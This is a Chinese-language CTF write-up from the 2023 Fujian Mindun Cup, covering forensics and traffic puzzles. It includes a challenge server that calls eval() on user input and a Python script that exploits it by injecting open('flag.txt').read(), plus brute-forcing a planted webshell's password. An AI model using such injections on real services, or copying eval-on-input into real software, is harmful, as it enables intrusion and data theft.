福建闽盾杯网络空间安全大赛 2023 Writeup
写在前面
由于初赛不交Writeup,所以初赛题目不全(复赛解开的倒是都写了),貌似这比赛挺水的,随便打打就进决赛了…不过主办方不报差旅且无奖金,所以弃赛了。
Misc
DNS-流量分析
wireshark 打开发现每次请求的名称都是 zip 压缩包的hex编码,直接取出来即可,然后爆破得到压缩包密码 Ap3l
QZ
附件后缀为 .lime
,应该是 Linux 内存取证题目,不过直接 16 进制编辑器梭哈,搜索flag,没搜到,尝试 Base64编码过的 flag 头
威胁情报分析1
给了 ioc.txt
和 network.txt
两个 json 数据,其中 ioc
存放的威胁情报,network
存放了流量信息,直接通过比对即可找到对应的 IP地址
import json
def extract_net(file_path):
ips = set()
with open(file_path, 'r', encoding='utf-8') as file:
data = json.load(file)
for entry in data:
src_ip = entry.get('SrcHost')
dest_ip = entry.get('DestHost')
if src_ip:
ips.add(src_ip)
if dest_ip:
ips.add(dest_ip)
return ips
def extract_ioc(file_path):
ips = set()
with open(file_path, 'r', encoding='utf-8') as file:
data = json.load(file)
for entry in data:
if entry.get('type') == 'ip':
ips.add(entry.get('ioc'))
return ips
def analyze(network_file, ioc_file):
network_ips = extract_net(network_file)
malicious_ips = extract_ioc(ioc_file)
matched_ips = network_ips.intersection(malicious_ips)
return matched_ips
network_file_path = 'network.txt'
ioc_file_path = 'ioc.txt'
matched_ips = analyze(network_file_path, ioc_file_path)
for ip in matched_ips:
print(ip)
// 46.21.82.234
mylog
附件名字为 mylog.000001
,很明显是二进制日志文件,我们直接使用 mysqlbinlog
还原导出一下
mysqlbinlog.exe --no-defaults mylog.000001 > out.txt
根据如上信息得到 flag{heidun-2023-heidun}
Crypto
Py-math-game
import binascii
import socketserver
import random
import os
import time
class MyServer(socketserver.BaseRequestHandler):
def handle(self):
conn = self.request
cli = str(self.client_address)
print("Connected..." + cli)
tmp = binascii.crc32(self.client_address[0].encode())
tmp = str(tmp)
print("debug: " + tmp)
math = ''
starttime = time.time()
while True:
try:
out = str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
out = out + self.randchar()
out = out + str(random.randint(1, 100))
math = tmp + ' + ' + out
math = math.replace('X', '*')
out = 'Answer my question:\nn = ' + tmp + '\nn + ' + out + ' = ?\nInput your answer in 3 seconds:'
conn.send(out.encode())
data = conn.recv(128)
if (time.time() - starttime) > 3:
conn.sendall('Too late! Too slow! Try again.\n'.encode())
break
if len(data) == 0:
print(cli + " closed.")
break
data = data.decode('utf-8')
print(cli + ":" + data)
if '\n' in data:
data = data[0:data.find('\n')]
an = eval(math)
if str(an) == data:
out = 'OK!\nI will answer your question (example: 2X2+2-1):\n'
conn.send(out.encode())
data = conn.recv(128)
if len(data) == 0:
print(cli + " closed.")
break
data = data.decode('utf-8')
print(cli + ":" + data)
data = data.replace('X', '*')
data = data.replace(' x ', '*')
data = data.replace('?', ' ')
data = data.replace('=', ' ')
out = str(eval(data))
if out == '':
out = 'Finish, but output nothing.'
out = out + '\n\n'
conn.send(out.encode())
else:
conn.sendall('Wrong!\n'.encode())
print(cli + " closed.")
break
except Exception as e:
print(cli + " closed.")
conn.sendall('Error!\n'.encode())
break
def randchar(self):
chars = '+-X'
n = random.randint(0, len(chars) - 1)
return ' ' + chars[n] + ' '
def serve_forever(self, poll_interval=0.5):
"""
Handle one request at a time until shutdown.
Polls for shutdown every poll_interval seconds. Ignores self.timeout.
If you need to do periodic tasks, do them in another thread.
"""
if __name__ == "__main__":
server = socketserver.ThreadingTCPServer(('0.0.0.0', 8080), MyServer)
print('ready...')
server.serve_forever()
nc 连上发现要求三秒内计算出答案,回答正确后需要给他出道题,猜测后端使用了 eval()
,直接通过 open()
读取 flag 即可
import socket
# 连接NC服务器
def connect_to_server():
host = '39.104.26.167'
port = 6894
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((host, port))
return client_socket
# 接收并解析服务器的问题
def receive_question(socket):
data = socket.recv(1024).decode().strip()
question = data.split('\n')[-2]
question = question[:-4]
n = data.split('\n')[-3]
question = question.replace('n', n)
question = question[4:]
return question
# 计算问题的答案
def calculate_answer(question):
question = question.replace('X', '*')
answer = eval(question)
return str(answer)
# 发送答案给服务器
def send_answer(socket, answer):
socket.send((answer + '\n').encode())
# 获取服务器返回的结果
def get_result(socket):
data = socket.recv(1024).decode().strip()
return data
# 主函数
def main():
# 连接服务器
client_socket = connect_to_server()
# 接收问题
question = receive_question(client_socket)
print('Question:', question)
# 计算答案
answer = calculate_answer(question)
print('Answer:', answer)
# 发送答案
send_answer(client_socket, answer)
result = get_result(client_socket)
print('Result:', result)
# 发送问题
send_answer(client_socket, 'open("flag.txt").read()')
# 接收结果
result = get_result(client_socket)
print('Result:', result)
if __name__ == '__main__':
main()
Web
1shell
访问环境可以确定存在木马 1.php
,直接爆破密码即可,密码为 az